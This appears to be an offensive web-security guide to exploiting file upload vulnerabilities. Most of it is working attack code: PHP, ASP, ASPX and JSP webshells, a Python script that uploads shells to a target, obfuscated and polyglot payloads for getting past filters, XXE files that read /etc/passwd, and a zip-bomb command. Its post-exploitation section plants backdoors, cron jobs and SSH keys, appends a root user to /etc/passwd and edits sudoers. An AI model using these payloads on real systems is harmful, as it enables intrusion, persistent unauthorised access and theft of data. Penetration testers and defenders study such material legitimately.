File Upload Vulnerabilities Attack Guide

Learn how to test and exploit file upload vulnerabilities including detection, attack methods and bypass techniques.

File Upload Vulnerabilities

File Upload Vulnerabilities occur when a web application allows users to upload files without properly validating them. Attackers can exploit this to upload malicious files that can lead to remote code execution, defacement, or server compromise.

How It Works​

File upload vulnerabilities arise when applications fail to properly validate uploaded files. For example, if a profile picture upload feature doesn't check file types:

<?php  
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);  
?>  

An attacker could upload a PHP webshell instead of an image:

<?php system($_GET['cmd']); ?>  

Once uploaded, accessing uploads/shell.php?cmd=whoami would execute system commands.

Detection​

Manual Testing​

Basic Upload Tests​

Testing file upload functionality with various file types:

# Step 1: Identify upload endpoints  
# Look for forms with file input  
<input type="file" name="avatar">  
<input type="file" name="document">  
  
# Step 2: Test with legitimate files  
upload: image.jpg        # Should succeed  
upload: document.pdf     # Check if allowed  
upload: video.mp4        # Test different types  
  
# Step 3: Test with malicious extensions  
upload: shell.php        # Direct PHP file  
upload: shell.phtml      # Alternative PHP extension  
upload: shell.php3       # Legacy PHP extension  
upload: shell.php4       # Older PHP version  
upload: shell.php5       # PHP 5 extension  
upload: shell.phps       # PHP source file  
upload: shell.pht        # PHP template  
upload: shell.phar       # PHP archive  
  
# Step 4: Observe responses  
# - File uploaded successfully: Vulnerable  
# - Extension blocked: Try bypass techniques  
# - Content-type validation: Try MIME bypass  

Content-Type Tests​

Testing MIME type validation:

# Original image upload  
POST /upload HTTP/1.1  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary  
  
------WebKitFormBoundary  
Content-Disposition: form-data; name="file"; filename="image.jpg"  
Content-Type: image/jpeg  
  
[JPEG data]  
------WebKitFormBoundary--  
  
# Modified to upload PHP with image MIME  
POST /upload HTTP/1.1  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary  
  
------WebKitFormBoundary  
Content-Disposition: form-data; name="file"; filename="shell.php"  
Content-Type: image/jpeg  
  
<?php system($_GET['cmd']); ?>  
------WebKitFormBoundary--  

Magic Bytes Tests​

Testing file signature validation:

# Step 1: Create file with valid magic bytes  
# PNG magic bytes: 89 50 4E 47 0D 0A 1A 0A  
echo -e "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>" > shell.php  
  
# Step 2: JPEG magic bytes: FF D8 FF  
echo -e "\xFF\xD8\xFF<?php system(\$_GET['cmd']); ?>" > shell.php  
  
# Step 3: GIF magic bytes: 47 49 46 38 39 61  
echo "GIF89a<?php system(\$_GET['cmd']); ?>" > shell.php  
  
# Step 4: Upload and verify  
# File should pass magic byte validation  
# Check if code still executes  

Path Traversal Tests​

Testing directory traversal in file uploads:

# Step 1: Test with relative paths  
filename: ../shell.php              # One directory up  
filename: ../../shell.php           # Two directories up  
filename: ../../../var/www/shell.php # Absolute path traversal  
  
# Step 2: Test with encoded paths  
filename: ..%2fshell.php           # URL encoded  
filename: ..%252fshell.php         # Double URL encoded  
filename: ..%c0%afshell.php        # Unicode encoded  
  
# Step 3: Test with null bytes (older systems)  
filename: shell.php%00.jpg         # Null byte injection  
filename: shell.php\x00.jpg        # Hex null byte  
  
# Step 4: Check upload destination  
# Verify if file escaped upload directory  

Double Extension Tests​

Testing extension validation logic:

# Basic double extensions  
shell.php.jpg       # PHP may execute first  
shell.jpg.php       # Extension at end  
shell.php.png       # Image extension after PHP  
  
# Multiple extensions  
shell.php.test.jpg  # Multiple dots  
shell.php..jpg      # Double dot  
shell.php...jpg     # Triple dot  
  
# Case manipulation  
shell.PHP           # Uppercase  
shell.pHp           # Mixed case  
shell.PhP           # Alternative case  

Polyglot File Tests​

Creating files that are valid in multiple formats:

# Step 1: Create PHP/Image polyglot  
# Start with valid image header  
cp valid_image.jpg polyglot.php.jpg  
  
# Step 2: Append PHP code to image  
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg  
  
# Step 3: Use exiftool to embed PHP in metadata  
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o polyglot.jpg  
  
# Step 4: Upload polyglot file  
# File passes image validation  
# PHP code may execute depending on server config  

Automated Discovery​

Using Burp Suite Intruder​

# Step 1: Capture upload request in Burp  
# Send to Intruder (Ctrl+I)  
  
# Step 2: Mark filename as payload position  
filename="§test.jpg§"  
  
# Step 3: Load extension wordlist  
test.php  
test.php3  
test.php4  
test.php5  
test.phtml  
test.asp  
test.aspx  
test.jsp  
test.jspx  
  
# Step 4: Analyze responses  
# Different status codes or lengths indicate success  
# Follow up manually on successful uploads  

Using Nuclei​

# Run file upload vulnerability templates  
nuclei -u https://target.com -t file/  
  
# Specific file upload checks  
nuclei -u https://target.com -t file/upload-bypass.yaml  
  
# With severity filtering  
nuclei -u https://target.com -t file/ -severity critical,high  

Using Custom Scripts​

# Python script for upload testing  
import requests  
  
url = "https://target.com/upload"  
payloads = [  
    ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php"),  
    ("shell.phtml", "<?php system($_GET['cmd']); ?>", "application/x-php"),  
    ("shell.php.jpg", "<?php system($_GET['cmd']); ?>", "image/jpeg"),  
    ("shell.jpg.php", "<?php system($_GET['cmd']); ?>", "image/jpeg"),  
]  
  
for filename, content, mime in payloads:  
    files = {  
        'file': (filename, content, mime)  
    }  
    response = requests.post(url, files=files)  
      
    if response.status_code == 200:  
        print(f"[+] Successfully uploaded: {filename}")  
        print(f"    Location: {response.text}")  
    else:  
        print(f"[-] Failed to upload: {filename}")  

Attack Vectors​

Remote Code Execution​

Basic webshell uploads for code execution:

# Simple PHP webshell  
<?php system($_GET['cmd']); ?>  
  
# More feature-rich webshell  
<?php  
if(isset($_REQUEST['cmd'])){  
    echo "<pre>";  
    $cmd = ($_REQUEST['cmd']);  
    system($cmd);  
    echo "</pre>";  
    die;  
}  
?>  
  
# PHP info shell (for reconnaissance)  
<?php phpinfo(); ?>  
  
# File upload shell  
<?php  
if(isset($_FILES['f'])){  
    move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);  
    echo "Uploaded: " . $_FILES['f']['name'];  
}  
?>  
<form method="POST" enctype="multipart/form-data">  
<input type="file" name="f">  
<input type="submit" value="Upload">  
</form>  

ASP/ASPX Shells​

For Windows IIS servers:

# ASP Classic webshell  
<%  
Set oScript = Server.CreateObject("WSCRIPT.SHELL")  
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")  
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")  
Function getCommandOutput(theCommand)  
    Dim objShell, objCmdExec  
    Set objShell = CreateObject("WScript.Shell")  
    Set objCmdExec = objshell.exec(thecommand)  
    getCommandOutput = objCmdExec.StdOut.ReadAll  
end Function  
%>  
<%= getCommandOutput(Request.QueryString("cmd")) %>  
  
# ASP.NET webshell  
<%@ Page Language="C#" %>  
<%@ Import Namespace="System.Diagnostics" %>  
<script runat="server">  
void Page_Load(object sender, EventArgs e){  
    ProcessStartInfo psi = new ProcessStartInfo();  
    psi.FileName = "cmd.exe";  
    psi.Arguments = "/c " + Request.QueryString["cmd"];  
    psi.RedirectStandardOutput = true;  
    psi.UseShellExecute = false;  
    Process p = Process.Start(psi);  
    StreamReader stmrdr = p.StandardOutput;  
    string s = stmrdr.ReadToEnd();  
    stmrdr.Close();  
    Response.Write("<pre>" + s + "</pre>");  
}  
</script>  

JSP Shells​

For Java application servers:

# Simple JSP webshell  
<%@ page import="java.io.*" %>  
<%  
String cmd = request.getParameter("cmd");  
Process p = Runtime.getRuntime().exec(cmd);  
OutputStream os = p.getOutputStream();  
InputStream in = p.getInputStream();  
DataInputStream dis = new DataInputStream(in);  
String disr = dis.readLine();  
while (disr != null) {  
    out.println(disr);  
    disr = dis.readLine();  
}  
%>  
  
# JSP file browser  
<%@ page import="java.io.File" %>  
<%  
String path = request.getParameter("path");  
File f = new File(path);  
File[] files = f.listFiles();  
for(File file : files){  
    out.println(file.getName() + "<br>");  
}  
%>  

Image-Based Shells​

Hiding code in images:

# Method 1: Using exiftool  
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg  
  
# Method 2: Appending to image  
cat image.jpg shell.php > polyglot.php.jpg  
  
# Method 3: Embedding in PNG metadata  
convert image.png -set comment '<?php system($_GET["cmd"]); ?>' output.php.png  
  
# Method 4: GIF with PHP code  
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php  

ZIP-Based Attacks​

Exploiting archive extraction:

# Create malicious ZIP with path traversal  
zip malicious.zip ../../../var/www/html/shell.php  
  
# ZIP slip vulnerability  
# Create file with traversal in name  
echo '<?php system($_GET["cmd"]); ?>' > 'shell.php'  
zip -r upload.zip ../../../../var/www/shell.php  
  
# Double ZIP technique  
zip inner.zip shell.php  
zip outer.zip inner.zip  
# If app extracts twice, shell.php appears  

XXE via File Upload​

XML-based file uploads exploiting XXE:

# SVG file with XXE  
<?xml version="1.0" standalone="yes"?>  
<!DOCTYPE test [  
<!ENTITY xxe SYSTEM "file:///etc/passwd">  
]>  
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">  
<text x="0" y="16">&xxe;</text>  
</svg>  
  
# DOCX with XXE (unzip and modify document.xml)  
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<!DOCTYPE foo [  
<!ELEMENT foo ANY >  
<!ENTITY xxe SYSTEM "file:///etc/passwd" >  
]>  
<w:document>  
<w:body>  
<w:p>  
<w:r>  
<w:t>&xxe;</w:t>  
</w:r>  
</w:p>  
</w:body>  
</w:document>  

Bypass Techniques​

Extension Blacklist Bypass​

Bypassing extension-based filters:

# Case manipulation  
shell.PHP           # Uppercase  
shell.PhP           # Mixed case  
shell.pHP           # Alternative mixed  
  
# Rare but valid extensions  
shell.php3          # PHP 3  
shell.php4          # PHP 4  
shell.php5          # PHP 5  
shell.php7          # PHP 7  
shell.phtml         # PHP HTML  
shell.pht           # PHP Template  
shell.phps          # PHP Source  
shell.phar          # PHP Archive  
shell.pgif          # PHP GIF  
shell.inc           # Include file (may execute as PHP)  
  
# Double extensions  
shell.php.jpg       # May execute as PHP  
shell.jpg.php       # PHP at end  
shell.php.png       # Image extension last  
  
# Null byte injection (old systems)  
shell.php%00.jpg    # Null terminates string  
shell.php\x00.jpg   # Hex null byte  
  
# Special characters  
shell.php::$DATA    # NTFS Alternate Data Stream  
shell.php .         # Trailing dot (Windows)  
shell.php<space>    # Trailing space (Windows)  
  
# Multiple dots  
shell.php..jpg      # Double dot  
shell.php...jpg     # Multiple dots  
shell..php          # Dot before extension  

MIME Type Bypass​

Bypassing content-type validation:

# Upload PHP shell with image MIME type  
POST /upload HTTP/1.1  
Content-Type: multipart/form-data; boundary=----Boundary  
  
------Boundary  
Content-Disposition: form-data; name="file"; filename="shell.php"  
Content-Type: image/jpeg  
  
<?php system($_GET['cmd']); ?>  
------Boundary--  
  
# Try multiple MIME types  
Content-Type: image/png  
Content-Type: image/gif  
Content-Type: image/bmp  
Content-Type: application/octet-stream  
Content-Type: text/plain  
  
# MIME confusion  
Content-Type: image/jpeg; charset=utf-8  
Content-Type: image/jpeg; boundary=something  

Magic Bytes Bypass​

Adding valid file signatures:

# PNG magic bytes + PHP code  
echo -e '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system($_GET["cmd"]); ?>' > shell.php  
  
# JPEG magic bytes + PHP code  
printf '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.php  
  
# GIF magic bytes + PHP code  
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php  
  
# PDF magic bytes + PHP code  
echo '%PDF-1.5<?php system($_GET["cmd"]); ?>' > shell.php  
  
# ZIP magic bytes  
printf '\x50\x4B\x03\x04<?php system($_GET["cmd"]); ?>' > shell.php  

Filename Obfuscation​

Manipulating filenames to bypass filters:

# Unicode characters  
shell․php           # Using unicode dot (U+2024)  
shell․php           # Using middle dot (U+00B7)  
shell‿php           # Using undertie (U+203F)  
  
# Right-to-Left Override (RTLO)  
shell.php[U+202E]gpj.php  # Displays as shell.phpphp.jpg  
  
# URL encoding in filename  
shell%2Ephp         # Encoded dot  
shell%00.jpg        # Null byte  
  
# Special Windows characters  
shell.php.          # Trailing dot  
shell.php<space>    # Trailing space  
shell.php::$DATA    # NTFS ADS  
  
# Long filename truncation  
shell.php + "A" * 1000 + ".jpg  
# May truncate to shell.php on storage  

Content Filter Bypass​

Bypassing content scanning:

# Obfuscated PHP code  
<?=`$_GET[0]`?>                    # Short tags with backticks  
<?php $a=$_GET;$b=$a['cmd'];system($b);?>  # Variable indirection  
  
# Base64 encoding  
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>  
  
# String concatenation  
<?php $f='sy'.'stem';$f($_GET['cmd']); ?>  
  
# Hex encoding  
<?php $a="\x73\x79\x73\x74\x65\x6d";$a($_GET['cmd']); ?>  
  
# Variable functions  
<?php ${'_'.$_}['_']($_{'_'.$_}['__']);?>  # With ?_=GET&__=cmd pass cmd  
  
# Assert (PHP < 7.2)  
<?php assert($_GET['cmd']); ?>  
  
# Create function  
<?php $f=create_function('$c','return system($c);');$f($_GET['cmd']); ?>  

Archive Extraction Bypass​

Exploiting archive handling:

# Path traversal in archive  
zip malicious.zip ../../../../var/www/html/shell.php  
  
# Symlink exploitation  
ln -s /var/www/html/config.php link  
zip --symlinks malicious.zip link  
# Upload and extract to read config  
  
# Zip bomb (DoS)  
# Create highly compressed archive  
dd if=/dev/zero bs=1M count=1000 | zip -9 bomb.zip -  
  
# TAR traversal  
tar -cvf malicious.tar --transform='s/shell.php/..\/..\/..\/shell.php/' shell.php  

Metadata Exploitation​

Using file metadata to inject code:

# EXIF data injection  
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg  
  
# PNG text chunk  
echo '<?php system($_GET["cmd"]); ?>' > payload.txt  
pngcrush -text b "Comment" "$(cat payload.txt)" input.png output.png  
  
# SVG script injection  
<svg xmlns="http://www.w3.org/2000/svg">  
<script>  
<![CDATA[  
<?php system($_GET['cmd']); ?>  
]]>  
</script>  
</svg>  
  
# MP3 ID3 tags  
eyeD3 --add-comment="eng:Comment:<?php system(\$_GET['cmd']); ?>" file.mp3  

Polyglot Files​

Creating valid multi-format files:

# GIF/PHP polyglot  
echo 'GIF89a<?php system($_GET["cmd"]); __halt_compiler();?>' > poly.php  
  
# JPEG/PHP polyglot  
printf '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00<?php system($_GET["cmd"]); ?>' > poly.php  
  
# PDF/PHP polyglot  
echo '%PDF-1.5  
%<?php system($_GET["cmd"]); ?>  
%%EOF' > poly.php  
  
# ZIP/PHP polyglot (JAR files)  
echo '<?php system($_GET["cmd"]); __HALT_COMPILER(); ?>' > stub.php  
cat stub.php archive.zip > polyglot.php  

Post-Exploitation​

Finding Uploaded Files​

Locating uploaded files on the server:

# Common upload directories  
/uploads/  
/upload/  
/files/  
/media/  
/static/  
/assets/  
/public/  
/documents/  
/images/  
/avatars/  
/tmp/  
/temp/  
  
# Fuzzing for upload directory  
ffuf -u https://target.com/FUZZ/shell.php -w directories.txt  
  
# Check response headers  
# Look for Location header after upload  
# Check HTML for image/file paths  

Establishing Persistence​

Creating persistent access:

# Backdoor in uploaded file  
<?php  
// Main functionality  
if(isset($_GET['cmd'])){  
    system($_GET['cmd']);  
}  
  
// Auto-replicate to another location  
copy(__FILE__, '/var/www/html/.config.php');  
?>  
  
# Cron job creation  
<?php  
file_put_contents('/etc/cron.d/backdoor', "* * * * * root /usr/bin/php /tmp/shell.php\n");  
?>  
  
# Adding SSH key  
<?php  
$key = "ssh-rsa AAAAB3...";  
file_put_contents('/root/.ssh/authorized_keys', $key, FILE_APPEND);  
?>  

Privilege Escalation​

Leveraging upload for privilege escalation:

# Writing to sensitive files  
<?php  
// Add new admin user  
$user = "hacker:x:0:0:Hacker:/root:/bin/bash";  
file_put_contents('/etc/passwd', $user, FILE_APPEND);  
?>  
  
# Modifying sudoers  
<?php  
file_put_contents('/etc/sudoers', "www-data ALL=(ALL) NOPASSWD: ALL\n", FILE_APPEND);  
?>  
  
# Creating SUID binary  
<?php  
copy('/bin/bash', '/tmp/rootbash');  
chmod('/tmp/rootbash', 04755);  
?>  

Data Exfiltration​

Using upload functionality to extract data:

# Database dump  
<?php  
$db = new mysqli('localhost', 'user', 'pass', 'db');  
$result = $db->query('SELECT * FROM users');  
file_put_contents('/tmp/dump.txt', var_export($result->fetch_all(), true));  
?>  
  
# File reading  
<?php  
if(isset($_GET['file'])){  
    echo file_get_contents($_GET['file']);  
}  
?>  
  
# Directory listing  
<?php  
function listDir($dir){  
    $files = scandir($dir);  
    foreach($files as $file){  
        echo $file . "\n";  
    }  
}  
listDir('/var/www/');  
?>  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
Burp Suite| Web vulnerability scanner| Upload testing and bypass
fuxploider| File upload fuzzer| Automated upload testing
Nuclei| Vulnerability scanner| Upload vulnerability detection
Upload Scanner| Burp extension| File upload testing
Weevely| PHP webshell| Post-exploitation
msfvenom| Payload generator| Creating malicious files